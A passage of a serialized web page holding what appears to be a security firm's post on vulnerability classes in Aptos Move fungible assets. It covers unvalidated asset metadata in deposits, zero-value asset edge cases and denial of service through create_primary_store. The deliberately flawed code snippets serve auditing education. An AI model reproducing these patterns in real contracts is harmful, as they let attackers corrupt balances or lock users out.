deposit",{"type":24,"tag":158,"props":62960,"children":62961},{"style":188},[62962],{"type":29,"value":3760},{"type":24,"tag":158,"props":62964,"children":62965},{"style":171},[62966],{"type":29,"value":7637},{"type":24,"tag":158,"props":62968,"children":62969},{"style":222},[62970],{"type":29,"value":225},{"type":24,"tag":158,"props":62972,"children":62973},{"style":177},[62974],{"type":29,"value":7582},{"type":24,"tag":158,"props":62976,"children":62977},{"style":188},[62978],{"type":29,"value":8236},{"type":24,"tag":158,"props":62980,"children":62981},{"class":160,"line":213},[62982,62987,62991,62995,62999,63003,63008,63012],{"type":24,"tag":158,"props":62983,"children":62984},{"style":177},[62985],{"type":29,"value":62986}," sender",{"type":24,"tag":158,"props":62988,"children":62989},{"style":222},[62990],{"type":29,"value":225},{"type":24,"tag":158,"props":62992,"children":62993},{"style":222},[62994],{"type":29,"value":8784},{"type":24,"tag":158,"props":62996,"children":62997},{"style":177},[62998],{"type":29,"value":8789},{"type":24,"tag":158,"props":63000,"children":63001},{"style":188},[63002],{"type":29,"value":191},{"type":24,"tag":158,"props":63004,"children":63005},{"style":177},[63006],{"type":29,"value":63007},"fa",{"type":24,"tag":158,"props":63009,"children":63010},{"style":222},[63011],{"type":29,"value":225},{"type":24,"tag":158,"props":63013,"children":63014},{"style":171},[63015],{"type":29,"value":63016}," FungibleAsset\n",{"type":24,"tag":158,"props":63018,"children":63019},{"class":160,"line":238},[63020,63024,63028,63032,63036],{"type":24,"tag":158,"props":63021,"children":63022},{"style":188},[63023],{"type":29,"value":723},{"type":24,"tag":158,"props":63025,"children":63026},{"style":177},[63027],{"type":29,"value":4286},{"type":24,"tag":158,"props":63029,"children":63030},{"style":188},[63031],{"type":29,"value":24277},{"type":24,"tag":158,"props":63033,"children":63034},{"style":222},[63035],{"type":29,"value":377},{"type":24,"tag":158,"props":63037,"children":63038},{"style":188},[63039],{"type":29,"value":63040},"] {\n",{"type":24,"tag":158,"props":63042,"children":63043},{"class":160,"line":259},[63044,63049],{"type":24,"tag":158,"props":63045,"children":63046},{"style":496},[63047],{"type":29,"value":63048}," assert_not_paused",{"type":24,"tag":158,"props":63050,"children":63051},{"style":188},[63052],{"type":29,"value":5329},{"type":24,"tag":158,"props":63054,"children":63055},{"class":160,"line":280},[63056],{"type":24,"tag":158,"props":63057,"children":63058},{"style":188},[63059],{"type":29,"value":63060}," \n",{"type":24,"tag":158,"props":63062,"children":63063},{"class":160,"line":301},[63064,63068,63073,63077,63082,63086,63090,63094,63098,63102],{"type":24,"tag":158,"props":63065,"children":63066},{"style":165},[63067],{"type":29,"value":2710},{"type":24,"tag":158,"props":63069,"children":63070},{"style":177},[63071],{"type":29,"value":63072}," fa_amount",{"type":24,"tag":158,"props":63074,"children":63075},{"style":222},[63076],{"type":29,"value":462},{"type":24,"tag":158,"props":63078,"children":63079},{"style":188},[63080],{"type":29,"value":63081}," fungible_asset",{"type":24,"tag":158,"props":63083,"children":63084},{"style":222},[63085],{"type":29,"value":2146},{"type":24,"tag":158,"props":63087,"children":63088},{"style":496},[63089],{"type":29,"value":21550},{"type":24,"tag":158,"props":63091,"children":63092},{"style":188},[63093],{"type":29,"value":504},{"type":24,"tag":158,"props":63095,"children":63096},{"style":222},[63097],{"type":29,"value":2212},{"type":24,"tag":158,"props":63099,"children":63100},{"style":177},[63101],{"type":29,"value":63007},{"type":24,"tag":158,"props":63103,"children":63104},{"style":188},[63105],{"type":29,"value":1071},{"type":24,"tag":158,"props":63107,"children":63108},{"class":160,"line":626},[63109,63113,63118,63122,63127,63131,63136],{"type":24,"tag":158,"props":63110,"children":63111},{"style":165},[63112],{"type":29,"value":2710},{"type":24,"tag":158,"props":63114,"children":63115},{"style":177},[63116],{"type":29,"value":63117}," sender_address",{"type":24,"tag":158,"props":63119,"children":63120},{"style":222},[63121],{"type":29,"value":462},{"type":24,"tag":158,"props":63123,"children":63124},{"style":496},[63125],{"type":29,"value":63126}," address_of",{"type":24,"tag":158,"props":63128,"children":63129},{"style":188},[63130],{"type":29,"value":504},{"type":24,"tag":158,"props":63132,"children":63133},{"style":177},[63134],{"type":29,"value":63135},"sender",{"type":24,"tag":158,"props":63137,"children":63138},{"style":188},[63139],{"type":29,"value":1071},{"type":24,"tag":158,"props":63141,"children":63142},{"class":160,"line":668},[63143,63148,63152,63157,63161,63166],{"type":24,"tag":158,"props":63144,"children":63145},{"style":496},[63146],{"type":29,"value":63147}," check_compliance",{"type":24,"tag":158,"props":63149,"children":63150},{"style":188},[63151],{"type":29,"value":504},{"type":24,"tag":158,"props":63153,"children":63154},{"style":177},[63155],{"type":29,"value":63156},"fa_amount",{"type":24,"tag":158,"props":63158,"children":63159},{"style":188},[63160],{"type":29,"value":191},{"type":24,"tag":158,"props":63162,"children":63163},{"style":177},[63164],{"type":29,"value":63165},"sender_address",{"type":24,"tag":158,"props":63167,"children":63168},{"style":188},[63169],{"type":29,"value":1071},{"type":24,"tag":158,"props":63171,"children":63172},{"class":160,"line":676},[63173],{"type":24,"tag":158,"props":63174,"children":63175},{"style":188},[63176],{"type":29,"value":63060},{"type":24,"tag":158,"props":63178,"children":63179},{"class":160,"line":684},[63180,63185,63189,63194,63198,63202,63206,63210],{"type":24,"tag":158,"props":63181,"children":63182},{"style":496},[63183],{"type":29,"value":63184}," increase_deposit",{"type":24,"tag":158,"props":63186,"children":63187},{"style":188},[63188],{"type":29,"value":504},{"type":24,"tag":158,"props":63190,"children":63191},{"style":496},[63192],{"type":29,"value":63193},"get_vault",{"type":24,"tag":158,"props":63195,"children":63196},{"style":188},[63197],{"type":29,"value":504},{"type":24,"tag":158,"props":63199,"children":63200},{"style":177},[63201],{"type":29,"value":63165},{"type":24,"tag":158,"props":63203,"children":63204},{"style":188},[63205],{"type":29,"value":16412},{"type":24,"tag":158,"props":63207,"children":63208},{"style":177},[63209],{"type":29,"value":63156},{"type":24,"tag":158,"props":63211,"children":63212},{"style":188},[63213],{"type":29,"value":1071},{"type":24,"tag":158,"props":63215,"children":63216},{"class":160,"line":700},[63217],{"type":24,"tag":158,"props":63218,"children":63219},{"style":188},[63220],{"type":29,"value":63060},{"type":24,"tag":158,"props":63222,"children":63223},{"class":160,"line":785},[63224,63229,63233,63238,63242,63247,63251,63255],{"type":24,"tag":158,"props":63225,"children":63226},{"style":188},[63227],{"type":29,"value":63228}," primary_fungible_store",{"type":24,"tag":158,"props":63230,"children":63231},{"style":222},[63232],{"type":29,"value":2146},{"type":24,"tag":158,"props":63234,"children":63235},{"style":496},[63236],{"type":29,"value":63237},"deposit",{"type":24,"tag":158,"props":63239,"children":63240},{"style":188},[63241],{"type":29,"value":504},{"type":24,"tag":158,"props":63243,"children":63244},{"style":496},[63245],{"type":29,"value":63246},"global_vault_address",{"type":24,"tag":158,"props":63248,"children":63249},{"style":188},[63250],{"type":29,"value":19615},{"type":24,"tag":158,"props":63252,"children":63253},{"style":177},[63254],{"type":29,"value":63007},{"type":24,"tag":158,"props":63256,"children":63257},{"style":188},[63258],{"type":29,"value":1071},{"type":24,"tag":158,"props":63260,"children":63261},{"class":160,"line":1447},[63262],{"type":24,"tag":158,"props":63263,"children":63264},{"style":188},[63265],{"type":29,"value":63060},{"type":24,"tag":158,"props":63267,"children":63268},{"class":160,"line":1509},[63269,63274,63278,63283,63287,63292,63296,63300,63304,63308],{"type":24,"tag":158,"props":63270,"children":63271},{"style":188},[63272],{"type":29,"value":63273}," event",{"type":24,"tag":158,"props":63275,"children":63276},{"style":222},[63277],{"type":29,"value":2146},{"type":24,"tag":158,"props":63279,"children":63280},{"style":496},[63281],{"type":29,"value":63282},"emit",{"type":24,"tag":158,"props":63284,"children":63285},{"style":188},[63286],{"type":29,"value":504},{"type":24,"tag":158,"props":63288,"children":63289},{"style":171},[63290],{"type":29,"value":63291},"Deposit",{"type":24,"tag":158,"props":63293,"children":63294},{"style":188},[63295],{"type":29,"value":46487},{"type":24,"tag":158,"props":63297,"children":63298},{"style":177},[63299],{"type":29,"value":63165},{"type":24,"tag":158,"props":63301,"children":63302},{"style":188},[63303],{"type":29,"value":191},{"type":24,"tag":158,"props":63305,"children":63306},{"style":177},[63307],{"type":29,"value":63156},{"type":24,"tag":158,"props":63309,"children":63310},{"style":188},[63311],{"type":29,"value":34284},{"type":24,"tag":158,"props":63313,"children":63314},{"class":160,"line":1527},[63315],{"type":24,"tag":158,"props":63316,"children":63317},{"style":188},[63318],{"type":29,"value":307},{"type":24,"tag":25,"props":63320,"children":63321},{},[63322],{"type":29,"value":63323},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":25,"props":63325,"children":63326},{},[63327],{"type":29,"value":63328},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":59,"props":63330,"children":63332},{"id":63331},"fungible-stores",[63333],{"type":29,"value":63334},"Fungible stores",{"type":24,"tag":25,"props":63336,"children":63337},{},[63338],{"type":29,"value":63339},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":25,"props":63341,"children":63342},{},[63343,63345,63351],{"type":29,"value":63344},"Meet the ",{"type":24,"tag":154,"props":63346,"children":63348},{"className":63347},[],[63349],{"type":29,"value":63350},"FungibleStore",{"type":29,"value":347},{"type":24,"tag":147,"props":63353,"children":63355},{"className":151,"code":63354,"language":150,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[63356],{"type":24,"tag":154,"props":63357,"children":63358},{"__ignoreMap":7},[63359,63383,63410,63430,63449],{"type":24,"tag":158,"props":63360,"children":63361},{"class":160,"line":161},[63362,63366,63371,63375,63379],{"type":24,"tag":158,"props":63363,"children":63364},{"style":165},[63365],{"type":29,"value":168},{"type":24,"tag":158,"props":63367,"children":63368},{"style":171},[63369],{"type":29,"value":63370}," FungibleStore",{"type":24,"tag":158,"props":63372,"children":63373},{"style":177},[63374],{"type":29,"value":180},{"type":24,"tag":158,"props":63376,"children":63377},{"style":177},[63378],{"type":29,"value":7582},{"type":24,"tag":158,"props":63380,"children":63381},{"style":188},[63382],{"type":29,"value":210},{"type":24,"tag":158,"props":63384,"children":63385},{"class":160,"line":213},[63386,63390,63394,63398,63402,63406],{"type":24,"tag":158,"props":63387,"children":63388},{"style":177},[63389],{"type":29,"value":62826},{"type":24,"tag":158,"props":63391,"children":63392},{"style":222},[63393],{"type":29,"value":225},{"type":24,"tag":158,"props":63395,"children":63396},{"style":171},[63397],{"type":29,"value":62835},{"type":24,"tag":158,"props":63399,"children":63400},{"style":188},[63401],{"type":29,"value":3760},{"type":24,"tag":158,"props":63403,"children":63404},{"style":171},[63405],{"type":29,"value":62844},{"type":24,"tag":158,"props":63407,"children":63408},{"style":188},[63409],{"type":29,"value":7788},{"type":24,"tag":158,"props":63411,"children":63412},{"class":160,"line":238},[63413,63418,63422,63426],{"type":24,"tag":158,"props":63414,"children":63415},{"style":177},[63416],{"type":29,"value":63417}," balance",{"type":24,"tag":158,"props":63419,"children":63420},{"style":222},[63421],{"type":29,"value":225},{"type":24,"tag":158,"props":63423,"children":63424},{"style":171},[63425],{"type":29,"value":230},{"type":24,"tag":158,"props":63427,"children":63428},{"style":188},[63429],{"type":29,"value":235},{"type":24,"tag":158,"props":63431,"children":63432},{"class":160,"line":259},[63433,63437,63441,63445],{"type":24,"tag":158,"props":63434,"children":63435},{"style":177},[63436],{"type":29,"value":62487},{"type":24,"tag":158,"props":63438,"children":63439},{"style":222},[63440],{"type":29,"value":225},{"type":24,"tag":158,"props":63442,"children":63443},{"style":171},[63444],{"type":29,"value":2928},{"type":24,"tag":158,"props":63446,"children":63447},{"style":188},[63448],{"type":29,"value":235},{"type":24,"tag":158,"props":63450,"children":63451},{"class":160,"line":280},[63452],{"type":24,"tag":158,"props":63453,"children":63454},{"style":188},[63455],{"type":29,"value":307},{"type":24,"tag":25,"props":63457,"children":63458},{},[63459,63464,63466,63471,63473,63478,63480,63485,63487,63492],{"type":24,"tag":154,"props":63460,"children":63462},{"className":63461},[],[63463],{"type":29,"value":63350},{"type":29,"value":63465}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":154,"props":63467,"children":63469},{"className":63468},[],[63470],{"type":29,"value":62785},{"type":29,"value":63472}," (it can't because ",{"type":24,"tag":154,"props":63474,"children":63476},{"className":63475},[],[63477],{"type":29,"value":62785},{"type":29,"value":63479}," doesn't have ",{"type":24,"tag":154,"props":63481,"children":63483},{"className":63482},[],[63484],{"type":29,"value":205},{"type":29,"value":63486},"). Withdrawals create temporary ",{"type":24,"tag":154,"props":63488,"children":63490},{"className":63489},[],[63491],{"type":29,"value":62785},{"type":29,"value":63493}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":24,"tag":20034,"props":63495,"children":63496},{},[],{"type":24,"tag":25,"props":63498,"children":63499},{},[63500,63502,63507,63509,63514],{"type":29,"value":63501},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":154,"props":63503,"children":63505},{"className":63504},[],[63506],{"type":29,"value":62785},{"type":29,"value":63508}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":154,"props":63510,"children":63512},{"className":63511},[],[63513],{"type":29,"value":62785},{"type":29,"value":347},{"type":24,"tag":147,"props":63516,"children":63518},{"className":151,"code":63517,"language":150,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[63519],{"type":24,"tag":154,"props":63520,"children":63521},{"__ignoreMap":7},[63522,63559,63611,63654,63661,63668,63740,63752,63790,63809,63816],{"type":24,"tag":158,"props":63523,"children":63524},{"class":160,"line":161},[63525,63529,63533,63538,63542,63547,63551,63555],{"type":24,"tag":158,"props":63526,"children":63527},{"style":177},[63528],{"type":29,"value":62949},{"type":24,"tag":158,"props":63530,"children":63531},{"style":177},[63532],{"type":29,"value":493},{"type":24,"tag":158,"props":63534,"children":63535},{"style":496},[63536],{"type":29,"value":63537}," destroy_zero",{"type":24,"tag":158,"props":63539,"children":63540},{"style":188},[63541],{"type":29,"value":504},{"type":24,"tag":158,"props":63543,"children":63544},{"style":177},[63545],{"type":29,"value":63546},"fungible_asset",{"type":24,"tag":158,"props":63548,"children":63549},{"style":222},[63550],{"type":29,"value":225},{"type":24,"tag":158,"props":63552,"children":63553},{"style":171},[63554],{"type":29,"value":62814},{"type":24,"tag":158,"props":63556,"children":63557},{"style":188},[63558],{"type":29,"value":16038},{"type":24,"tag":158,"props":63560,"children":63561},{"class":160,"line":213},[63562,63566,63570,63574,63578,63582,63587,63591,63595,63599,63603,63607],{"type":24,"tag":158,"props":63563,"children":63564},{"style":165},[63565],{"type":29,"value":2710},{"type":24,"tag":158,"props":63567,"children":63568},{"style":171},[63569],{"type":29,"value":62814},{"type":24,"tag":158,"props":63571,"children":63572},{"style":188},[63573],{"type":29,"value":372},{"type":24,"tag":158,"props":63575,"children":63576},{"style":177},[63577],{"type":29,"value":21550},{"type":24,"tag":158,"props":63579,"children":63580},{"style":188},[63581],{"type":29,"value":191},{"type":24,"tag":158,"props":63583,"children":63584},{"style":177},[63585],{"type":29,"value":63586},"metadata",{"type":24,"tag":158,"props":63588,"children":63589},{"style":222},[63590],{"type":29,"value":225},{"type":24,"tag":158,"props":63592,"children":63593},{"style":177},[63594],{"type":29,"value":4707},{"type":24,"tag":158,"props":63596,"children":63597},{"style":188},[63598],{"type":29,"value":37466},{"type":24,"tag":158,"props":63600,"children":63601},{"style":222},[63602],{"type":29,"value":1285},{"type":24,"tag":158,"props":63604,"children":63605},{"style":177},[63606],{"type":29,"value":63081},{"type":24,"tag":158,"props":63608,"children":63609},{"style":188},[63610],{"type":29,"value":473},{"type":24,"tag":158,"props":63612,"children":63613},{"class":160,"line":238},[63614,63619,63623,63627,63631,63635,63640,63644,63649],{"type":24,"tag":158,"props":63615,"children":63616},{"style":496},[63617],{"type":29,"value":63618}," assert!",{"type":24,"tag":158,"props":63620,"children":63621},{"style":188},[63622],{"type":29,"value":504},{"type":24,"tag":158,"props":63624,"children":63625},{"style":177},[63626],{"type":29,"value":21550},{"type":24,"tag":158,"props":63628,"children":63629},{"style":222},[63630],{"type":29,"value":3175},{"type":24,"tag":158,"props":63632,"children":63633},{"style":465},[63634],{"type":29,"value":2025},{"type":24,"tag":158,"props":63636,"children":63637},{"style":188},[63638],{"type":29,"value":63639},", error",{"type":24,"tag":158,"props":63641,"children":63642},{"style":222},[63643],{"type":29,"value":2146},{"type":24,"tag":158,"props":63645,"children":63646},{"style":496},[63647],{"type":29,"value":63648},"invalid_argument",{"type":24,"tag":158,"props":63650,"children":63651},{"style":188},[63652],{"type":29,"value":63653},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":158,"props":63655,"children":63656},{"class":160,"line":259},[63657],{"type":24,"tag":158,"props":63658,"children":63659},{"style":188},[63660],{"type":29,"value":307},{"type":24,"tag":158,"props":63662,"children":63663},{"class":160,"line":280},[63664],{"type":24,"tag":158,"props":63665,"children":63666},{"emptyLinePlaceholder":16},[63667],{"type":29,"value":481},{"type":24,"tag":158,"props":63669,"children":63670},{"class":160,"line":301},[63671,63675,63679,63684,63688,63692,63696,63700,63704,63708,63712,63716,63720,63724,63728,63732,63736],{"type":24,"tag":158,"props":63672,"children":63673},{"style":177},[63674],{"type":29,"value":62949},{"type":24,"tag":158,"props":63676,"children":63677},{"style":177},[63678],{"type":29,"value":493},{"type":24,"tag":158,"props":63680,"children":63681},{"style":177},[63682],{"type":29,"value":63683}," zero",{"type":24,"tag":158,"props":63685,"children":63686},{"style":188},[63687],{"type":29,"value":3760},{"type":24,"tag":158,"props":63689,"children":63690},{"style":171},[63691],{"type":29,"value":7637},{"type":24,"tag":158,"props":63693,"children":63694},{"style":222},[63695],{"type":29,"value":225},{"type":24,"tag":158,"props":63697,"children":63698},{"style":177},[63699],{"type":29,"value":7582},{"type":24,"tag":158,"props":63701,"children":63702},{"style":188},[63703],{"type":29,"value":3817},{"type":24,"tag":158,"props":63705,"children":63706},{"style":177},[63707],{"type":29,"value":63586},{"type":24,"tag":158,"props":63709,"children":63710},{"style":222},[63711],{"type":29,"value":225},{"type":24,"tag":158,"props":63713,"children":63714},{"style":171},[63715],{"type":29,"value":62835},{"type":24,"tag":158,"props":63717,"children":63718},{"style":188},[63719],{"type":29,"value":3760},{"type":24,"tag":158,"props":63721,"children":63722},{"style":171},[63723],{"type":29,"value":7637},{"type":24,"tag":158,"props":63725,"children":63726},{"style":188},[63727],{"type":29,"value":10001},{"type":24,"tag":158,"props":63729,"children":63730},{"style":222},[63731],{"type":29,"value":225},{"type":24,"tag":158,"props":63733,"children":63734},{"style":171},[63735],{"type":29,"value":62814},{"type":24,"tag":158,"props":63737,"children":63738},{"style":188},[63739],{"type":29,"value":210},{"type":24,"tag":158,"props":63741,"children":63742},{"class":160,"line":626},[63743,63748],{"type":24,"tag":158,"props":63744,"children":63745},{"style":171},[63746],{"type":29,"value":63747}," FungibleAsset",{"type":24,"tag":158,"props":63749,"children":63750},{"style":188},[63751],{"type":29,"value":210},{"type":24,"tag":158,"props":63753,"children":63754},{"class":160,"line":668},[63755,63760,63764,63769,63773,63778,63782,63786],{"type":24,"tag":158,"props":63756,"children":63757},{"style":177},[63758],{"type":29,"value":63759}," metadata",{"type":24,"tag":158,"props":63761,"children":63762},{"style":222},[63763],{"type":29,"value":225},{"type":24,"tag":158,"props":63765,"children":63766},{"style":188},[63767],{"type":29,"value":63768}," object",{"type":24,"tag":158,"props":63770,"children":63771},{"style":222},[63772],{"type":29,"value":2146},{"type":24,"tag":158,"props":63774,"children":63775},{"style":496},[63776],{"type":29,"value":63777},"convert",{"type":24,"tag":158,"props":63779,"children":63780},{"style":188},[63781],{"type":29,"value":504},{"type":24,"tag":158,"props":63783,"children":63784},{"style":177},[63785],{"type":29,"value":63586},{"type":24,"tag":158,"props":63787,"children":63788},{"style":188},[63789],{"type":29,"value":8382},{"type":24,"tag":158,"props":63791,"children":63792},{"class":160,"line":676},[63793,63797,63801,63805],{"type":24,"tag":158,"props":63794,"children":63795},{"style":177},[63796],{"type":29,"value":9090},{"type":24,"tag":158,"props":63798,"children":63799},{"style":222},[63800],{"type":29,"value":225},{"type":24,"tag":158,"props":63802,"children":63803},{"style":465},[63804],{"type":29,"value":2025},{"type":24,"tag":158,"props":63806,"children":63807},{"style":188},[63808],{"type":29,"value":235},{"type":24,"tag":158,"props":63810,"children":63811},{"class":160,"line":684},[63812],{"type":24,"tag":158,"props":63813,"children":63814},{"style":188},[63815],{"type":29,"value":3967},{"type":24,"tag":158,"props":63817,"children":63818},{"class":160,"line":700},[63819],{"type":24,"tag":158,"props":63820,"children":63821},{"style":188},[63822],{"type":29,"value":307},{"type":24,"tag":25,"props":63824,"children":63825},{},[63826],{"type":29,"value":63827},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":25,"props":63829,"children":63830},{},[63831,63833,63838],{"type":29,"value":63832},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":154,"props":63834,"children":63836},{"className":63835},[],[63837],{"type":29,"value":62927},{"type":29,"value":63839}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":395,"props":63841,"children":63843},{"id":63842},"primary-and-secondary-stores",[63844],{"type":29,"value":63845},"Primary and secondary stores",{"type":24,"tag":25,"props":63847,"children":63848},{},[63849,63855,63857,63863,63865,63870],{"type":24,"tag":154,"props":63850,"children":63852},{"className":63851},[],[63853],{"type":29,"value":63854},"FungibleStores",{"type":29,"value":63856}," in comparison to ",{"type":24,"tag":154,"props":63858,"children":63860},{"className":63859},[],[63861],{"type":29,"value":63862},"CoinStores",{"type":29,"value":63864}," are not unique. Each user can have multiple ",{"type":24,"tag":154,"props":63866,"children":63868},{"className":63867},[],[63869],{"type":29,"value":63350},{"type":29,"value":63871}," objects for a given token!",{"type":24,"tag":25,"props":63873,"children":63874},{},[63875,63877,63884,63886,63891],{"type":29,"value":63876},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":101,"props":63878,"children":63881},{"href":63879,"rel":63880},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[105],[63882],{"type":29,"value":63883},"primary_fungible_store",{"type":29,"value":63885}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":154,"props":63887,"children":63889},{"className":63888},[],[63890],{"type":29,"value":62844},{"type":29,"value":63892}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":25,"props":63894,"children":63895},{},[63896],{"type":29,"value":63897},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":147,"props":63899,"children":63901},{"className":151,"code":63900,"language":150,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[63902],{"type":24,"tag":154,"props":63903,"children":63904},{"__ignoreMap":7},[63905,63930,63962,63985,64001,64055,64070],{"type":24,"tag":158,"props":63906,"children":63907},{"class":160,"line":161},[63908,63912,63917,63921,63926],{"type":24,"tag":158,"props":63909,"children":63910},{"style":177},[63911],{"type":29,"value":62949},{"type":24,"tag":158,"props":63913,"children":63914},{"style":177},[63915],{"type":29,"value":63916}," entry",{"type":24,"tag":158,"props":63918,"children":63919},{"style":177},[63920],{"type":29,"value":493},{"type":24,"tag":158,"props":63922,"children":63923},{"style":496},[63924],{"type":29,"value":63925}," register",{"type":24,"tag":158,"props":63927,"children":63928},{"style":188},[63929],{"type":29,"value":2156},{"type":24,"tag":158,"props":63931,"children":63932},{"class":160,"line":213},[63933,63938,63942,63946,63950,63954,63958],{"type":24,"tag":158,"props":63934,"children":63935},{"style":177},[63936],{"type":29,"value":63937}," user",{"type":24,"tag":158,"props":63939,"children":63940},{"style":222},[63941],{"type":29,"value":225},{"type":24,"tag":158,"props":63943,"children":63944},{"style":222},[63945],{"type":29,"value":8784},{"type":24,"tag":158,"props":63947,"children":63948},{"style":177},[63949],{"type":29,"value":8789},{"type":24,"tag":158,"props":63951,"children":63952},{"style":188},[63953],{"type":29,"value":45405},{"type":24,"tag":158,"props":63955,"children":63956},{"style":222},[63957],{"type":29,"value":377},{"type":24,"tag":158,"props":63959,"children":63960},{"style":188},[63961],{"type":29,"value":2647},{"type":24,"tag":158,"props":63963,"children":63964},{"class":160,"line":238},[63965,63969,63973,63977,63981],{"type":24,"tag":158,"props":63966,"children":63967},{"style":188},[63968],{"type":29,"value":723},{"type":24,"tag":158,"props":63970,"children":63971},{"style":177},[63972],{"type":29,"value":4286},{"type":24,"tag":158,"props":63974,"children":63975},{"style":188},[63976],{"type":29,"value":24277},{"type":24,"tag":158,"props":63978,"children":63979},{"style":222},[63980],{"type":29,"value":377},{"type":24,"tag":158,"props":63982,"children":63983},{"style":188},[63984],{"type":29,"value":63040},{"type":24,"tag":158,"props":63986,"children":63987},{"class":160,"line":259},[63988,63993,63997],{"type":24,"tag":158,"props":63989,"children":63990},{"style":188},[63991],{"type":29,"value":63992}," [",{"type":24,"tag":158,"props":63994,"children":63995},{"style":222},[63996],{"type":29,"value":377},{"type":24,"tag":158,"props":63998,"children":63999},{"style":188},[64000],{"type":29,"value":2647},{"type":24,"tag":158,"props":64002,"children":64003},{"class":160,"line":280},[64004,64008,64013,64017,64022,64026,64030,64034,64038,64042,64046,64051],{"type":24,"tag":158,"props":64005,"children":64006},{"style":165},[64007],{"type":29,"value":2710},{"type":24,"tag":158,"props":64009,"children":64010},{"style":177},[64011],{"type":29,"value":64012}," wallet_store",{"type":24,"tag":158,"props":64014,"children":64015},{"style":222},[64016],{"type":29,"value":462},{"type":24,"tag":158,"props":64018,"children":64019},{"style":496},[64020],{"type":29,"value":64021}," create_primary_store",{"type":24,"tag":158,"props":64023,"children":64024},{"style":188},[64025],{"type":29,"value":8843},{"type":24,"tag":158,"props":64027,"children":64028},{"style":222},[64029],{"type":29,"value":2146},{"type":24,"tag":158,"props":64031,"children":64032},{"style":496},[64033],{"type":29,"value":3835},{"type":24,"tag":158,"props":64035,"children":64036},{"style":188},[64037],{"type":29,"value":504},{"type":24,"tag":158,"props":64039,"children":64040},{"style":177},[64041],{"type":29,"value":63135},{"type":24,"tag":158,"props":64043,"children":64044},{"style":188},[64045],{"type":29,"value":16412},{"type":24,"tag":158,"props":64047,"children":64048},{"style":496},[64049],{"type":29,"value":64050},"get_metadata",{"type":24,"tag":158,"props":64052,"children":64053},{"style":188},[64054],{"type":29,"value":16660},{"type":24,"tag":158,"props":64056,"children":64057},{"class":160,"line":301},[64058,64062,64066],{"type":24,"tag":158,"props":64059,"children":64060},{"style":188},[64061],{"type":29,"value":63992},{"type":24,"tag":158,"props":64063,"children":64064},{"style":222},[64065],{"type":29,"value":377},{"type":24,"tag":158,"props":64067,"children":64068},{"style":188},[64069],{"type":29,"value":2647},{"type":24,"tag":158,"props":64071,"children":64072},{"class":160,"line":626},[64073],{"type":24,"tag":158,"props":64074,"children":64075},{"style":188},[64076],{"type":29,"value":307},{"type":24,"tag":25,"props":64078,"children":64079},{},[64080,64081,64087,64089,64095],{"type":29,"value":17850},{"type":24,"tag":154,"props":64082,"children":64084},{"className":64083},[],[64085],{"type":29,"value":64086},"create_primary_store",{"type":29,"value":64088}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":154,"props":64090,"children":64092},{"className":64091},[],[64093],{"type":29,"value":64094},"ensure_primary_store_exists",{"type":29,"value":64096}," is recommended to avoid such issues.",{"type":24,"tag":59,"props":64098,"children":64100},{"id":64099},"fungible-assets-and-objects",[64101],{"type":29,"value":64102},"Fungible assets and objects",{"type":24,"tag":25,"props":64104,"children":64105},{},[64106,64108,64113,64115,64122],{"type":29,"value":64107},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":154,"props":64109,"children":64111},{"className":64110},[],[64112],{"type":29,"value":50122},{"type":29,"value":64114}," module, introduced in ",{"type":24,"tag":101,"props":64116,"children":64119},{"href":64117,"rel":64118},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[105],[64120],{"type":29,"value":64121},"AIP-10",{"type":29,"value":347},{"type":24,"tag":4606,"props":64124,"children":64125},{},[64126],{"type":24,"tag":25,"props":64127,"children":64128},{},[64129,64133],{"type":24,"tag":158,"props":64130,"children":64131},{},[64132],{"type":29,"value":62724},{"type":29,"value":64134}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":25,"props":64136,"children":64137},{},[64138],{"type":29,"value":64139},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":395,"props":64141,"children":64143},{"id":64142},"creation-and-deletion",[64144],{"type":29,"value":64145},"Creation and deletion",{"type":24,"tag":25,"props":64147,"children":64148},{},[64149,64151,64157],{"type":29,"value":64150},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in 